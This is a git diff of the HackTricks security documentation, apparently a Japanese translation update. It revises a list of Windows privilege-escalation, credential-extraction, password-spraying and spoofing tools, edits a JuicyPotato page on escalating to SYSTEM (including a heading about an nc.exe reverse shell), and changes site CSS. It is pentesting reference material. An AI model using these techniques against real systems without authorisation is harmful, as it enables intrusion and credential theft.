-## More help
+## さらなるヘルプ
[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
-## Useful tools
+## 有用なツール
-**Windowsローカル権限昇格ベクトルを探すための最良のツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
+**Windowsローカル特権昇格ベクトルを探すための最良のツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
**PS**
[**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 誤設定や機密ファイルをチェックします (**[**こちらを確認**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。検出されました。**\
-[**JAWS**](https://github.com/411Hall/JAWS) **-- 一部の可能な誤設定をチェックし、情報を収集します (**[**こちらを確認**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。**\
+[**JAWS**](https://github.com/411Hall/JAWS) **-- いくつかの可能な誤設定をチェックし、情報を収集します (**[**こちらを確認**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。**\
[**privesc** ](https://github.com/enjoiz/Privesc)**-- 誤設定をチェックします**\
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY、WinSCP、SuperPuTTY、FileZilla、RDPの保存されたセッション情報を抽出します。ローカルで-Thoroughを使用します。**\
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Credential Managerから資格情報を抽出します。検出されました。**\
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 収集したパスワードをドメイン全体にスプレーします**\
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- InveighはPowerShellのADIDNS/LLMNR/mDNS/NBNSスプーフィングおよび中間者攻撃ツールです。**\
-[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的な権限昇格Windows列挙**\
-[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 既知の権限昇格脆弱性を検索します(非推奨)\
+[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的な特権昇格Windows列挙**\
+[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 既知の特権昇格脆弱性を検索します(Watsonのために非推奨)\
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- ローカルチェック **(管理者権限が必要)**
**Exe**
-[**Watson**](https://github.com/rasta-mouse/Watson) -- 既知の権限昇格脆弱性を検索します(VisualStudioを使用してコンパイルする必要があります) ([**事前コンパイル済み**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
-[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 誤設定を探してホストを列挙します(権限昇格よりも情報収集ツールです)(コンパイルが必要) **(**[**事前コンパイル済み**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
+[**Watson**](https://github.com/rasta-mouse/Watson) -- 既知の特権昇格脆弱性を検索します(VisualStudioを使用してコンパイルする必要があります) ([**事前コンパイル済み**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
+[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 誤設定を探してホストを列挙します(特権昇格よりも情報収集ツールに近い)(コンパイルが必要) **(**[**事前コンパイル済み**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 多くのソフトウェアから資格情報を抽出します(GitHubに事前コンパイル済みexeあり)**\
-[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUpのC#への移植**\
-[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 誤設定をチェックします(GitHubに事前コンパイル済みの実行可能ファイル)。推奨されません。Win10ではうまく動作しません。\
-[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 可能な誤設定をチェックします(Pythonからのexe)。推奨されません。Win10ではうまく動作しません。
+[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUpのC#ポート**\
+[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 誤設定をチェックします(GitHubに事前コンパイル済みの実行可能ファイル)。推奨されません。Win10ではうまく機能しません。\
+[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 可能な誤設定をチェックします(Pythonからのexe)。推奨されません。Win10ではうまく機能しません。
**Bat**
diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
index c76f81f61..19eba1734 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
@@ -2,8 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
-> [!WARNING]
-> **JuicyPotatoは** Windows Server 2019 および Windows 10 ビルド 1809 以降では動作しません。しかし、 [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**、** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**、** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) を使用して **同じ特権を利用し、`NT AUTHORITY\SYSTEM`** レベルのアクセスを取得できます。 _**確認:**_
+> [!WARNING] > **JuicyPotatoは** Windows Server 2019 および Windows 10 ビルド 1809 以降では動作しません。しかし、[**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**、** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**、** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) を使用して **同じ特権を利用し、`NT AUTHORITY\SYSTEM`** レベルのアクセスを取得できます。 _**確認:**_
{{#ref}}
roguepotato-and-printspoofer.md
@@ -19,13 +18,13 @@ _少しのジュースを加えた_ [_RottenPotatoNG_](https://github.com/breenm
[**juicy-potato Readme から**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
-[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) とその [バリアント](https://github.com/decoder-it/lonelypotato) は、[`BITS`]() [サービス](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) に基づく特権昇格チェーンを利用し、`127.0.0.1:6666` で MiTM リスナーを持ち、`SeImpersonate` または `SeAssignPrimaryToken` 特権を持っているときに機能します。Windows ビルドレビュー中に、`BITS` が意図的に無効にされ、ポート `6666` が使用されている設定を見つけました。
+[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) とその [バリアント](https://github.com/decoder-it/lonelypotato) は、[`BITS`]() [サービス](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) に基づく特権昇格チェーンを利用し、`127.0.0.1:6666` で MiTM リスナーを持ち、`SeImpersonate` または `SeAssignPrimaryToken` 特権を持っている場合に機能します。Windows ビルドレビュー中に、`BITS` が意図的に無効にされ、ポート `6666` が使用されている設定を見つけました。
-私たちは [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) を武器化することに決めました: **Juicy Potato にこんにちはを言いましょう**。
+私たちは [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) を武器化することに決めました: **Juicy Potato にこんにちは。**
> 理論については、[Rotten Potato - サービスアカウントから SYSTEM への特権昇格](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) を参照し、リンクと参照のチェーンをたどってください。
-私たちは、`BITS` 以外にも悪用できるいくつかの COM サーバーがあることを発見しました。これらは次の条件を満たす必要があります:
+私たちは、`BITS` 以外にも悪用できるいくつかの COM サーバーがあることを発見しました。これらは次の条件を満たす必要があります:
1. 現在のユーザーによってインスタンス化可能であること、通常は偽装特権を持つ「サービスユーザー」
2. `IMarshal` インターフェースを実装していること
@@ -35,12 +34,12 @@ _少しのジュースを加えた_ [_RottenPotatoNG_](https://github.com/breenm
### ジューシーな詳細
-JuicyPotato を使用すると、次のことができます:
+JuicyPotato を使用すると:
- **ターゲット CLSID** _任意の CLSID を選択できます。_ [_こちら_](http://ohpe.it/juicy-potato/CLSID/) _で OS ごとに整理されたリストを見つけることができます。_
- **COM リスニングポート** _好みの COM リスニングポートを定義します (ハードコーディングされた 6666 の代わりに)_
- **COM リスニング IP アドレス** _任意の IP にサーバーをバインドします_
-- **プロセス作成モード** _偽装されたユーザーの特権に応じて、次のいずれかを選択できます:_
+- **プロセス作成モード** _偽装されたユーザーの特権に応じて、次のいずれかを選択できます:_
- `CreateProcessWithToken` (必要な特権: `SeImpersonate`)
- `CreateProcessAsUser` (必要な特権: `SeAssignPrimaryToken`)
- `両方`
@@ -81,7 +80,7 @@ Optional args:
## 例
-注意: CLSIDのリストを試すには、[このページ](https://ohpe.it/juicy-potato/CLSID/)を訪れてください。
+注意: CLSIDのリストについては [このページ](https://ohpe.it/juicy-potato/CLSID/) を訪れてください。
### nc.exeリバースシェルを取得する
```
@@ -108,7 +107,9 @@ c:\Users\Public>
多くの場合、JuicyPotatoが使用するデフォルトのCLSIDは**機能しない**ため、エクスプロイトが失敗します。通常、**動作するCLSID**を見つけるには複数の試行が必要です。特定のオペレーティングシステムで試すためのCLSIDのリストを取得するには、このページを訪問してください:
-{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
+{{#ref}}
+https://ohpe.it/juicy-potato/CLSID/
+{{#endref}}
### **CLSIDの確認**
@@ -116,7 +117,7 @@ c:\Users\Public>
[Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1)をダウンロードしてPSセッションにロードし、[GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1)をダウンロードして実行します。そのスクリプトは、テストする可能性のあるCLSIDのリストを作成します。
-次に、[test_clsid.bat](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)をダウンロードし(CLSIDリストとjuicypotato実行可能ファイルへのパスを変更)、実行します。これにより、すべてのCLSIDを試し始め、**ポート番号が変更されると、CLSIDが機能したことを意味します**。
+次に、[test_clsid.bat](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)をダウンロードし(CLSIDリストとjuicypotato実行可能ファイルへのパスを変更)、実行します。すべてのCLSIDを試し始め、**ポート番号が変更されると、それはCLSIDが機能したことを意味します**。
**-cパラメータを使用して**動作するCLSIDを**確認してください**
diff --git a/theme/css/chrome.css b/theme/css/chrome.css
index ead7ee881..97ae4c689 100644
--- a/theme/css/chrome.css
+++ b/theme/css/chrome.css
@@ -183,6 +183,13 @@ body.sidebar-visible #menu-bar {
}
/* Languages Menu Popup */
+
+@media only screen and (max-width:799px) {
+ #menubar-languages-toggle span {
+ display: none !important;
+ }
+}
+
#menubar-languages-toggle {
position: relative;
}
@@ -244,6 +251,11 @@ html:not(.js) .left-buttons button {
cursor: pointer;
color: var(--fg);
}
+@media only screen and (max-width:799px) {
+ .menu-title {
+ font-size: 1.4rem;
+ }
+}
.menu-bar,
.menu-bar:visited,
@@ -633,6 +645,11 @@ ul#searchresults li a span.teaser em {
color: var(--sidebar-fg);
}
}
+@media only screen and (min-width:1440px) {
+ #sidebar-toggle{
+ display: none !important;
+ }
+}
@media only screen and (max-width:549px) {
.sidebar {
position: fixed;
@@ -835,7 +852,7 @@ html:not(.sidebar-resizing) .sidebar {
border-top: 1px solid var(--table-border-color);
margin-top: 1rem;
align-content: center;
- z-index: 101;
+ z-index: 106;
}
.footer .theme-wrapper {
max-width: var(--container-max-width);
diff --git a/theme/css/variables.css b/theme/css/variables.css
index fbe328e4d..5aa7b2f5b 100644
--- a/theme/css/variables.css
+++ b/theme/css/variables.css
@@ -343,8 +343,8 @@
--warning-border: #ff8e00;
--table-border-color: #2f2f2f;
- --table-header-bg: hsl(226, 23%, 31%);
- --table-alternate-bg: hsl(226, 23%, 14%);
+ --table-header-bg: #2f2f2f;
+ --table-alternate-bg: #222222;
--searchbar-border-color: #2f2f2f;
--searchbar-bg: hsl(0, 0%, 11%);
@@ -429,7 +429,7 @@
--warning-border: #ff8e00;
--table-border-color: hsl(0, 0%, 95%);
- --table-header-bg: hsl(0, 0%, 80%);
+ --table-header-bg: hsl(0, 0%, 95%);
--table-alternate-bg: hsl(0, 0%, 97%);
--searchbar-border-color: #aaa;
diff --git a/theme/index.hbs b/theme/index.hbs
index 95c964391..166e177c4 100644
--- a/theme/index.hbs
+++ b/theme/index.hbs
@@ -176,10 +176,12 @@